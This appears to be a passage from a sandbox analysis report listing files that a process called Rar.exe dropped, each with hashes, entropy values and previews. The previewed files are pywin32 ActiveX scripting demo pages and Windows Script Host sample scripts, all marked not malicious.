SHA-512:	056C00EE117139C00FD13637A81EDCE44267DFB4770FDA08351664A94B07CF583E85800F72E27105D5DDB4E2399D63DD54D81FF0099514DFBDE76A9149CA7862
Malicious:	false
Reputation:	low
Preview:	<HTML>.<BODY>..<SCRIPT>.b="Hello There, how are you".</SCRIPT>..<SCRIPT LANGUAGE="Python">.print "Hello".a="Hi there".document.write("Hello<P>").alert("Hi there").</SCRIPT>..</BODY>.</HTML>.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\ie\demo.htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	445
Entropy (8bit):	5.509743771821659
Encrypted:	false
SSDEEP:	12:ojBasFkQqF5LChBBIQtIUsB8H9j5BazghrMcEIM8K:cBbsQhBBIQ9sBs5BagEIMv
MD5:	B9E46B1FEE8B67411F50F07C8B78104E
SHA1:	C2C851C147ED73C23072370405EC0074BD3F9829
SHA-256:	BFA80CCF9B8EF62DCE3285953AC2B86157B7B909EE133D282D4047C7C401DB43
SHA-512:	931983E8D6B59A479E1EA62F074D5F366800F2C186832997E992DD4554769DFC27125F9CD163889FDC5E4F867D591FDD430681254F3A1BC4721A58476086FA20
Malicious:	false
Reputation:	low
Preview:	<HTML>.<HEAD>.<TITLE>Python AXScript Demos</TITLE>.</HEAD>...<SCRIPT LANGUAGE="Python">.def Window_OnLoad():..pass.#.import win32traceutil.#.print "Frames are", ax.window.frames._print_details_().#.print "Frame 0 href = ", ax.frames.Item(0).location.href..def Name_OnLoad():..print "Frame loading"..</SCRIPT>..<FRAMESET FRAMEBORDER=1 COLS = "250, *">..<FRAME SRC="demo_menu.htm">..<FRAME SRC="demo_check.htm" NAME="Body">.</FRAMESET>...</HTML>..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\ie\demo_check.htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	5.03331718520064
Encrypted:	false
SSDEEP:	24:wuUKbgrbSWAbAgKLe8am9Xg2jDNkDJd8G/8RhXqrG/SWAbAB3rW5LN8H5N8jHTUZ:HhMrCbbKLB/9wqDNkDE2cgbe3rALaDcY
MD5:	513B66C5350A228017229D30E8BA68DB
SHA1:	1DE44BE614ED286F6BAB3C67076DB2A006078EB6
SHA-256:	DCC1ABE787B23B894DDA8FBCACB12E2921AE22CD807D9BD5F9F75BAC55FA762E
SHA-512:	54A9E39F63DBF8F7B4D7A50A4AF8ED467AD0AF8BDBB9ECE7B3432CB9CD6D480D24E00BC78B4E0192A2BD34B80348BF872D4D212A1F3461A336453B690F099B52
Malicious:	false
Reputation:	low
Preview:	<HTML>.<H1>Engine Registration</H1>..<BODY>..<p>The Python ActiveX Scripting Engine is not currently registered.<p>..<p>Due to a <a href="http://starship.python.net/crew/mhammond/win32/PrivacyProblem.html">privacy.concern</a> discovered in the engine, the use of Python inside IE has been disabled.</p>..Before any of the supplied demos will work, the engine must be successfully registered...<P>To install a version of the engine, that does work with IE, you can execute the Python program .<CODE>win32com\axscript\client\pyscript_rexec.py</CODE> must be run. You can either do this manually, or follow the instructions below.</p>..<H2>Register the engine now!</H2>..<p>If you have read about the <a href="http://starship.python.net/crew/mhammond/win32/PrivacyProblem.html">privacy.concern</a> and still wish to register the engine, just follow the process outlined below:</p>.<OL>. <LI>Click on the link below. <LI><B>A dialog will be presented asking if the file should be opened or saved to di

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\ie\demo_intro.htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	1575
Entropy (8bit):	5.080918972088431
Encrypted:	false
SSDEEP:	48:FQOTqhqkbHG9GKCQWcOtQq/eXpfc3rH7yLHglD:FQOTqPmUuHq/eXu3L7yrglD
MD5:	DE941719772F8E078AF33D853683E729
SHA1:	09510CB85BA1D7E5FB3F8A30C74F97D48C3C3BAE
SHA-256:	3957B5998D0DE4E1EEBDADAB0332E76F0F22BC2424BA054C254D31A77F4ABEE2
SHA-512:	62BBA0B85EDDE11856720D9858CCF964DC8B0D8F436CB8D4B2B634E952A6912807BCCDFFEEEAC8BD3ED695637B0F49581BB269D60BB7CB63651053A57549CD01
Malicious:	false
Reputation:	low
Preview:	<HTML>.<BODY>..<H1>. <MARQUEE NAME="Marquee1" DIRECTION=LEFT BEHAVIOR=SCROLL SCROLLAMOUNT=10 SCROLLDELAY=200. >Python ActiveX Scripting Demonstation. </MARQUEE> .</H1>..<p>Congratulations on installing the Python ActiveX Scripting Engine</p>..<p>Be warned that there is a <a href="http://starship.python.net/crew/mhammond/win32/PrivacyProblem.html">privacy.concern</a> with this engine. Please read this information, including how to disable the feature.</p>...<H3>Object model</H3>.<P>Except as described below, the object module exposed should be similar to that exposed.by Visual Basic, etc. Due to the nature of ActiveX Scripting, the details for each.host are different, but Python should work "correctly"...<P>The object model exposed via Python for MSIE is not as seamless as VB. The biggest limitation is .the concept of a "local" namespace. For example, in VB, you can.code <code>text="Hi there"</code>, but in Python, you must code .<code>MyForm.ThisButton.Text="Hi There"</code>. S

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\ie\demo_menu.htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	499
Entropy (8bit):	5.113549327216309
Encrypted:	false
SSDEEP:	12:Fn5UVTxIFjDTxdMmbUJ50OjQTxWBC/l6ul8FSTxHtVmHZ:F5UV+jDcv1jQWIM5S7VmHZ
MD5:	5CDB9F7FF68C05ACA2038D2E1DE09CBF
SHA1:	920E8063ECC6823588137E5B648440A49561A0D0
SHA-256:	04BB1E0354C1C50A8447981D3177D344A38EDEC4CF4887B22436313A51C3FE5B
SHA-512:	B38BDC4CBC1ABC0D1568780CCA90A1E115F08F12F9A235738AAEEFD5E0BB2F6A618A9C586EDBE3717B5F2012505173CBF9E77AA76499B7C75525A2D6AF7EFB57
Malicious:	false
Reputation:	low
Preview:	<HTML>.<BODY>.<H1>Scripting Demos</H1>.<P>An <A HREF="demo_check.htm" TARGET=Body>Introduction</A> to the .scripting engine...<P>The <A HREF="calc.htm" TARGET=Body>Calculator Demo</A> is a very .cool sample written by Aaron Watters...<P><A HREF="mouseTrack.htm" TARGET=Body>Mouse track</A> is another of .Aaron's samples, and shows how fast the Python engine is!..<P>The <A HREF="foo2.htm" TARGET=Body>foo2 sample</A> is mainly used .for debugging and testing, but does show some forms in action....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\ie\docwrite.htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	467
Entropy (8bit):	5.314931409533073
Encrypted:	false
SSDEEP:	12:FHh8D0bYB+zKc0NkQDv5pU+hhr5pRL+O4b0ej:FHh8q1Gc0NjHTDHRf4b0ej
MD5:	146060D48B70277B1365B7301EC1C890
SHA1:	3941BC9CDA81CC0C3EDDFD51736B5A33B49AB463
SHA-256:	3B1324A950E5AA92BA91E99F8C8A0F32EF0244516F415E7E97469CE4218B4292
SHA-512:	1ED64D9CE9CB618BBCE48C2B363DF9731A1DEA11FED6E3503183E01C2DEE1F0E4F065C74CC3CFD536CF6F52C934A0A04C5AC7B2597CF22EFA66AE3D946ACEE1C
Malicious:	false
Reputation:	low
Preview:	<HTML>.<BODY>.A page generated by Python..<SCRIPT LANGUAGE="XXXVBScript">.document.open().document.writeLn "<P>Hello from VBScript".document.close().</SCRIPT>..<SCRIPT LANGUAGE="Python">.ax.document.write("<P>Hello from Python").ax.document.close().ax.document.open().ax.document.write("<P>Hello again from Python").ax.document.close()..def Window_OnLoad():..pass.#.ax.document.write("<P>Hello from Load from Python").#.ax.document.close().</SCRIPT>..</BODY>.</HTML>.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\ie\foo2.htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3486
Entropy (8bit):	5.461870317678001
Encrypted:	false
SSDEEP:	96:FqPY6s35GwIDbC/SNFQE0g2lrtiNdd3VK4Kj:erg+DfEEyR
MD5:	CD71C263A8F1DEB2839CDB2106E39C36
SHA1:	9E856175A44D70994846A715A0D8CDCFD2B60151
SHA-256:	6792AA2EE8E68E152703F2215962648A297DF34713A0431D6B278C7DA669A928
SHA-512:	66C8FD17EB25127E58BBF4491DC8A602522D0ACC342EE7BE12202E972458A9EF0BEA822D98481578649D44FE191F2EF9CC4151117C2CA140AEF21EE7871339CB
Malicious:	false
Reputation:	low
Preview:	<HTML>.<BODY>..<SCRIPT>.b="Hello".</SCRIPT>..<SCRIPT LANGUAGE="Python">.import win32traceutil.import sys.print "Hello".a="Hi there".print "Location is", document.location.document.write("Hello", " from version ", 2, " of the Python AXScript Engine","<P>").document.writeln("This is Python", sys.version)..</SCRIPT>..<P>The caption on the first button is set by the Window Load code. Clicking.that button changes the text in the first edit box...<P>The second button changes its own text when clicked...<P>The fourth button calls a global function, defined in the global 'script' scope,.rather than the 'MyForm' scope...<FORM NAME="MyForm" METHOD="GET">. <SCRIPT LANGUAGE="Python">.print "Hello from in the form". </SCRIPT>. <INPUT NAME="Button1" TYPE="Button" OnClick="MyForm.Text1.value='Hi'" LANGUAGE="Python">. <INPUT TYPE="TEXT" SIZE=25 NAME="Text1">. <INPUT NAME="Button2" TYPE="Button" VALUE="Click for 'Hi'" OnClick="a='Howdy'; MyForm.Button2.value='Hi'" LANGUAGE="Python">. <INPU

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\ie\form.htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	481
Entropy (8bit):	5.325207019972113
Encrypted:	false
SSDEEP:	12:F72hfsrs38skQlGMAMCoqNkQ7hoZpmejIygNtIej:F74fqMBRCjNFqYeMyI6ej
MD5:	C497ED8638CC649FC1069C01C1B05229
SHA1:	A0D3A07BDD5C4D84C076BF260280A8AC0090C447
SHA-256:	78D2A2F62ACF7F5220E6A049819955B1FF86B0E4D7448DC984D04DE466465AC6
SHA-512:	11438573C3ABA0715699DB997A16842454FDD1EBF85C9C93DE47B9EAE0BD5151346D30916C5AE220E3E4A98C19FE78A2B11DA38434520D4D16FBC83EF18996F0
Malicious:	false
Reputation:	low
Preview:	<HTML>.<BODY>..<FORM NAME="TestForm" METHOD="POST" >. <INPUT TYPE="TEXT" SIZE=25 NAME="Name">Name<br>. <INPUT TYPE="TEXT" SIZE=25 NAME="Address">Address<br>. <INPUT TYPE=SUBMIT.</FORM>..<SCRIPT LANGUAGE="Python" for="TestForm" Event="onSubmit">.return Validate().</SCRIPT>..<SCRIPT LANGUAGE="Python">..def Validate():..if not TestForm.Name.Value or not TestForm.Address.Value:...ax.alert("You must enter a name and address.")...return 1..return 0..</SCRIPT>..</BODY>.</HTML>.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\ie\marqueeDemo.htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1167
Entropy (8bit):	5.665134723888381
Encrypted:	false
SSDEEP:	24:lDvGNHeq3rTcqPQ4TLU9Le0HuO0Kmswp2hL4Lnl0LzW:lDe1TJIu0Jlmss2E+e
MD5:	AD106320D0C0559B8209C808878D7F2D
SHA1:	1E04B3A9CEC5AFF19AACFA26784A6761393E7025
SHA-256:	4341D3983EF74E03EB27443CADC0A40B143ABE59ED4E81DD2A02BE75C1E6EFCC
SHA-512:	BCCC294D0486C27EEE885E6F1D75905F9862BC546BAC73FF0215A22AB8097E591967500DB03A5C2373C45A52E5CCCAF2331E38ECD3180F79A7B230521FB9A08D
Malicious:	false
Reputation:	low
Preview:	<HTML>.<HEAD>.<base target="text">.<TITLE> Internet Workshop </TITLE>.</HEAD>.<BODY leftmargin=8 bgcolor="#FFFFFF" VLINK="#666666" LINK="#FF0000">.<FONT FACE="ARIAL,HELVETICA" SIZE="2">..<P>.<BR>.<P><FONT FACE="ARIAL,HELVETICA" SIZE="5"><B>Marquee Demo</B></FONT>..<P>...<OBJECT ..ID="Marquee1" . .CLASSID="CLSID:1A4DA620-6217-11CF-BE62-0080C72EDD2D"..CODEBASE="/workshop/activex/gallery/ms/marquee/other/marquee.ocx#Version=4,70,0,1112"..TYPE="application/x-oleobject"..WIDTH=100% ..HEIGHT=80.>..<PARAM NAME="szURL" VALUE="marqueeText1.htm">..<PARAM NAME="ScrollPixelsX" VALUE="0">. .<PARAM NAME="ScrollPixelsY" VALUE="-5">. .<PARAM NAME="ScrollDelay" VALUE="100">. .<PARAM NAME="Whitespace" VALUE="0">.</OBJECT>..<br> <br>..<INPUT TYPE="Button" NAME="btnFaster" VALUE="Faster">.<INPUT TYPE="Button" NAME="btnNormal" VALUE="Normal">.<INPUT TYPE="Button" NAME="btnSlower" VALUE="Slower">..<SCRIPT Language="Python">..def btnFaster_Onclick():..ax.Marquee1.ScrollDelay = 0..def btnNormal_Oncli

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\ie\mousetrack.htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2219
Entropy (8bit):	5.348133396458538
Encrypted:	false
SSDEEP:	48:IBSsk5PN2NT4pkNqkVA/Jobzj6jaVYWLaxV7UG5HtGkZRFyCpiT:ScNX6VBzj6jaVFm7UG5HXZRZiT
MD5:	189FD34C610096EB188C993BCD6F5057
SHA1:	EA37E944DDC9A007A468E0C4D61B61D250C95939
SHA-256:	1501479124FCBED9474A55DDBAE4964B9791BF3C828D89D523999201160F2478
SHA-512:	A989C96CCBFD00AC3F1724FE7F4505361518852F882756C2B00101A47DC1098CD9418B40F80F091C2DB467CCA6F5D166D74EF7324E01AF77A34D8D4B26BCB081
Malicious:	false
Reputation:	low
Preview:	<HTML>..<HEAD><TITLE>Python Scripting sample: Mouse tracking</TITLE></HEAD>.<BODY BGCOLOR="#FFFFFF" TOPMARGIN=8>.<FONT SIZE=5>.<TABLE Border=0><TR VALIGN=MIDDLE><TD>.<A ID="Image"> <IMG .SRC="file:..\..\..\..\..\win32com\html\image\pycom_blowing.gif" .ALT="Clickable Map Image" HEIGHT=113 WIDTH=624 BORDER=0></A>..</TD></TR>. <TR><TD> </TD></TR>. <TR VALIGN=MIDDLE><TD VALIGN=MIDDLE ALIGN=CENTER><FONT SIZE=5><INPUT .TYPE="text" NAME="TxtLinkDescription" SIZE=50></FONT></TD></TR></TABLE>.</FONT>..<P>.A mouse tracking demo. Move the mouse over the image above.....<SCRIPT Language="Python">. .# Remember the last location clicked.#print "here we go", 1.mx = my = 0..# class for rectangle testing.class rect:. def __init__(self, lowx, lowy, upx, upy, desc, url):. self.lowx, self.lowy, self.upx, self.upy, self.desc, self.url = \. lowx, lowy, upx, upy, desc, url. def inside(self, x, y):.# print (x,y), "inside", self.desc,. result = self.lowx <= x <= self.up

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\ie\pycom_blowing.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	GIF image data, version 89a, 624 x 113
Category:	dropped
Size (bytes):	20926
Entropy (8bit):	7.905038510815239
Encrypted:	false
SSDEEP:	384:x2exoV/K9n4vEVknwRun99AwdOeQWrALv5MFp6l2cdj65lO:x2/V/TMV5RunjAw0WrALI+6G
MD5:	50BCEB72ABB5FA92A1B13A615288EA2E
SHA1:	5C3A6324856DCBE7D1A11F3F5E440BB131551784
SHA-256:	B3C652073B3C75F5AC81381B6F44B8DEEAD065C635C63771A0806E48778BAFAA
SHA-512:	C52C9DB12DEF0226C21105AB818DB403EFB666265AC745C830D66018437F8AC3E98307E94736A84BCAB9AD7895B2183D6C4B9CCEC0FC43517E433AC50BCAF351
Malicious:	false
Reputation:	low
Preview:	GIF89ap.q..........TTTrrr.................HH.vv..........O...nj.FA.0-....hei..D1,.ZN.iXS1'.E".K.0/..qNfM'H0..F.F.q&.I..H..JslKTN,....k..M..G..p...lh-65....ddS.......m............m..+........""...l...mm......O..0...HI.........Qp....O4D.BI/Nj...q..pR.."5.Kq/H.....#E.+p.g.R.G.-...+.-../..x.sE.3s.k.m.K.Ee.d...1./.i.............0m2.V.&./.6..E.+E.MjQ.#..m-4.Q..1.A)K.j3fN.....Y"'%.K...&......AFE.......u...b]......L..m..o..4...ML..........LK.`^eff...cssTood.....7LLU..App...m..C..N..#JJ5..$ttM...tt...P..-.........''.qq......L..4op...&..j............68.....-..n.......................P......`.h..i...Pp...n..........5b.Tr......n....58<.Ms0j.........FMb......gk.PV............PP.....rr........O2..h...[.......j.d.g.O....i......a................oLP)..!.......,....p.q.@...Y..H......*\....cy.81.&^.....q.!p )..Dr..V...T..P.b..........sR%M@)zb.HT,..h.\...P.J.J....%....W..$a..q.!..V...P..pcD......10...l.4i...Ev...]..$>...p....$..Y.:...0.L...y.._8.<\|......}e

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\wsh\excel.pys

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	5.072940751559402
Encrypted:	false
SSDEEP:	24:CZ0XYSbNSVEjTMujTrOqIdm3PNZpqZjDpfNTppp6QV:+0oSoUMATrOq+Dp/5V
MD5:	8FD06D135B4275DBC00D9E393FFDE9E1
SHA1:	877567B995035606046281AAC4DC11FF9D415F82
SHA-256:	3ED132B5B9D06FC242573AE32C4CDFEB09774BEC8AD4F7B0B1F7A13317354F14
SHA-512:	DD062E59E33E0FBCE58CFD96FFF10B1D7CBB757457A227512DA309AF5DE1FEDA5853D93DDD3BB9C71A80295E4C7F1B7E338B8AF9A1B3E533D88BE17BF2FB664B
Malicious:	false
Reputation:	low
Preview:	#app=WScript.Application.#app._print_details_() # Use this to see what Python knows about a COM object...g_index = 1.# A procedure, using a global..def Show(desc, value = None):..global g_index # Need global for g_index, as I locally assign...# No global needed to "xl" object, as only referenced...# Also note "xl" is assigned later in the script - ie, Python is very late bound...xl.Cells(g_index, 1).Value = desc..if value: xl.Cells(g_index, 2).Value = value..g_index = g_index + 1..xl = WScript.CreateObject("Excel.Application").import sys..xl.Visible = 1.#xl.Workbooks().Add() # Excel versions before 98.xl.Workbooks.Add()..# Show the WScript properties..Show("Application Friendly Name", WScript.Name).Show("Application Version", WScript.Version).Show("Application Context: Fully Qualified Name", WScript.FullName).Show("Application Context: Path Only", WScript.Path).Show("State of Interactive Mode", WScript.Interactive)..Show("All script arguments:").args = WScript.Arguments..for i in range

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\wsh\registry.pys

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1625
Entropy (8bit):	5.097139297129545
Encrypted:	false
SSDEEP:	24:L/DdkD6Pi0u1JEeLGawC+jrZoVzu4dB03kWSjI09f:L/DdkDoiDJE99z+KUWSh
MD5:	FFDB7AF5288F2DBC7BA1B9F390851F2E
SHA1:	CE79284039F42ED3E64B7361FF22A617A65A7AAD
SHA-256:	36828B0FBC66B13FEC99DE1C1B8993E249179E268D55328A2457FC84D514EBF9
SHA-512:	4C631CC46F2AE5EDBDD236ABE791A73F0A1A0FDCD63427A7240AF3B174B4D5ABC3C39121B6543DD69E1FDD290303ECA9F16E085AC603E9324A05B459AB2524DE
Malicious:	false
Reputation:	low
Preview:	""" Windows Script Host Sample Script.' Ported to Python.'.' ------------------------------------------------------------------------.' Copyright (C) 1996 Microsoft Corporation.'.' You have a royalty-free right to use, modify, reproduce and distribute.' the Sample Application Files (and/or any modified version) in any way.' you find useful, provided that you agree that Microsoft has no warranty,.' obligations or liability for any Sample Application Files..' ------------------------------------------------------------------------.'.' This sample demonstrates how to write/delete from the registry. ."""..WshShell = WScript.CreateObject("WScript.Shell")..WshShell.Popup("This script shows how to use registry related methods.", 2)..WshShell.Popup("Create key HKCU\\Foo with value 'Top level key'").WshShell.RegWrite("HKCU\\Foo\\", "Top level key")..WshShell.Popup("Create key HKCU\\Foo\\Bar with value 'Second level key'").WshShell.RegWrite( "HKCU\\Foo\\Bar\\", "Second level key").

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\wsh\test.pys

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	371
Entropy (8bit):	4.81636161697008
Encrypted:	false
SSDEEP:	6:Szs5LiFN3igd67YFCAdwEQkJvY0ULWODCArGnIF4hIopU7ZsH1F7W4L3q1G7ChYa:OsVi/F9QkJvDSV7z4ppUiHf7W4LoYlAB
MD5:	C05E20B9E219FCCF2C19133783B932E5
SHA1:	C74BF55931BB90778B120D5C8E766B8C1036D5DA
SHA-256:	6D0A3E712D136DACB886AEF34B5E866F0EED3F68C15AA569BB88278939A96DC0
SHA-512:	10DDC4C7DDF5141555EC6C97E4C2B5A506219D7D3798A509D3BCE14F693170C951DFA60EA13FE7E91F70C44EC3D0E8706E6558664644EFB44E138575EFA0B400
Malicious:	false
Reputation:	low
Preview:	# Testall - test core AX support...# Test "Restricted Execution" (ie, IObjectSafety)..# This will fail if in a "restricted execution" environment, but.# will silenty do nothing of not restricted. This same line in an MSIE.# script would cause an exception..print("Importing win32api...").import win32api.if 1==1:..print("Hi")..WScript.Echo("Hello from WScript")..#fail..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	135
Entropy (8bit):	4.680015638860431
Encrypted:	false
SSDEEP:	3:SAFMBm3EAAGHQ+HWg7AIvGUVsLHKFaWlQkEr66NRS66u:SgCmCGHQqAaGUWLHKkWlQkAS6v
MD5:	F45C606FFC55FD2F41F42012D917BCE9
SHA1:	CA93419CC53FB4EFEF251483ABE766DA4B8E2DFD
SHA-256:	F0BB50AF1CAEA5B284BD463E5938229E7D22CC610B2D767EE1778E92A85849B4
SHA-512:	BA7BEBE62A6C2216E68E2D484C098662BA3D5217B39A3156B30E776D2BB3CF5D4F31DCDC48A2EB99BC5D80FFFE388B212EC707B7D10B48DF601430A07608FD46
Malicious:	false
Reputation:	low
Preview:	# See if we have a special directory for the binaries (for developers).import win32com..win32com.__PackageSupportBuildPath__(__path__).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\asputil.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	246
Entropy (8bit):	4.321979309415331
Encrypted:	false
SSDEEP:	6:sARc6XFJyOhpDjc/JMRc1GfwpRXy1JVlFqpY/y:n9yoEBQeG4pR8JVlwpKy
MD5:	1ADB8CD1FB788B91BDAAE9399AD49EB9
SHA1:	F67D489C8578E338217B53EF6427DB08C4EB8656
SHA-256:	162EBBA726C7BB51F5154A203ECB77E3F05811CCA8EF667CC2A7538E12468D35
SHA-512:	2BF4AEA87C7B8345575D7F1C804F85EEA6417ED6BE9CDAAF4BC3CB1C85ABEE5436586361A6AE70987A28AF3F905EB0EBC9267C6D9CC3D52BD735C25A2284EDE8
Malicious:	false
Reputation:	low
Preview:	"""A utility module for ASP (Active Server Pages on MS Internet Info Server...Contains:..iif -- A utility function to avoid using "if" statements in ASP <% tags.."""...def iif(cond, t, f):. if cond:. return t. else:. return f.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\axscript.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	6.39833925624853
Encrypted:	false
SSDEEP:	1536:sZCJ9gLRE6ZpBS1aNHox4JkHUMf2eRjRvnu/EHEX3bDi/U:sZCJ9IEkNHoScUMzRjRvnu/EHS3bDi
MD5:	CE971A4D2464A5E72BCB67A1D97FE26E
SHA1:	3AF3F43335F86CFDB9B1E9184859579C6EBFED3D
SHA-256:	41AB63C77696BC401CF4C4606B55B1B66883743C8D89173139EA9D162D72BB5E
SHA-512:	2415CC0D79A3B91ED6A0754E0E9930936CF06AD6F775FEB6708B4AB4C7659909880B6AFD807C87A22C8C2D6F8AAE982ED1707754BF4882A8C2D61393C28C3D93
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d... . . .).$.$.r..."...$.....".r...3.r...*.r...!.4...%.4...%. ...../...!...!.Rich .................PE..L......d...........!................?.....................................................@..............................-..@........P..\....................`..T...<...T...............................@...............T............................text............................... ..`.rdata..............................@..@.data...L....0......................@....rsrc...\....P......................@..@.reloc..T....`......................@..B........................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\client\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	27
Entropy (8bit):	3.926571651178274
Encrypted:	false
SSDEEP:	3:SbFVEPxVW2:SbFupVH
MD5:	6BA7C50D6D1AB57D23565ED35813EAD7
SHA1:	B32E72D4EA5B883E21CD3FD7CC1FB7DB58B57281
SHA-256:	38686F1600EF06C7CFEA5BFB7DB2C952D8FB9A02664B2B587528C04A2C037C1B
SHA-512:	05CFD07756DBB06B2B89A62395E372F6652D6BEEB205E1226E0463852B0B71624D08524600008502F21E6087C0222A3EA8059D0578E2662D24FC00AA7821A9E1
Malicious:	false
Reputation:	low
Preview:	# This is a Python package.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\client\debug.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8600
Entropy (8bit):	4.651539521205457
Encrypted:	false
SSDEEP:	192:ZBl5Z5fcbFOvoW5TTPUfSBME+LCXUhBKbRBJSt6jv9aKLDqLM4:ZBl5QRsHMFrdtJ64
MD5:	EF2074B451BBD62D87F65EAA93CCEE3C
SHA1:	EFD7F3F1033E3C8180B8636BF5557B62EFC103CE
SHA-256:	1D9E93C8F0D5963DD099B6DE5E3A30FC8AF89EA5359B7C6E3217717E0E1371E3
SHA-512:	AE3EDBA436B1475BC7FEA3BCFF1FE5427DC6C79A961BF83447E62DD283B96E4BF23F32E40F2E0E30432764465FE030B4EEE12815A867AAC49579CC4E9FD409B8
Malicious:	false
Reputation:	low
Preview:	import os.import sys..import pythoncom.import win32api.import win32com.client.connect.import win32com.server.util.import winerror.from win32com.axdebug import adb, axdebug, contexts, documents, gateways, stackframe.from win32com.axdebug.codecontainer import SourceCodeContainer.from win32com.axdebug.util import _wrap, _wrap_remove.from win32com.client.util import Enumerator.from win32com.server.exception import COMException.from win32com.util import IIDToInterfaceName..from .framework import trace..try:. os.environ["DEBUG_AXDEBUG"]. debuggingTrace = 1 # Should we print "trace" output?.except KeyError:. debuggingTrace = 0...def trace(*args):. """A function used instead of "print" for debugging output.""". if not debuggingTrace:. return. print(win32api.GetCurrentThreadId(), end=" "). for arg in args:. print(arg, end=" "). print()...# Note that the DebugManager is not a COM gateway class for the.# debugger - but it does create and manage them..class D

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\client\error.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9551
Entropy (8bit):	4.4481133212168595
Encrypted:	false
SSDEEP:	192:leqeievObaNRL95xCaS8B8MvWISWJCkZXlDtPAmzai:lpeiXc37vVXtJX+i
MD5:	324AE6C8D3E02A44C8333EAE4AA5781F
SHA1:	B8189B8EC4ABBC1A2B284EDA32389E0FB74B6913
SHA-256:	ED9214C512F602AD4CA2F4DDE0D34C28D05B7D7EA43247058B61FEE06C1323C9
SHA-512:	A9AC0583D878B092A02F0149E24646E8AF3B447A665F96565AB15B98F47B8AA61ED7464B47D8360C67DF7E6B6F721653146E930F55B42610CE58AEC9A15F72CC
Malicious:	false
Reputation:	low
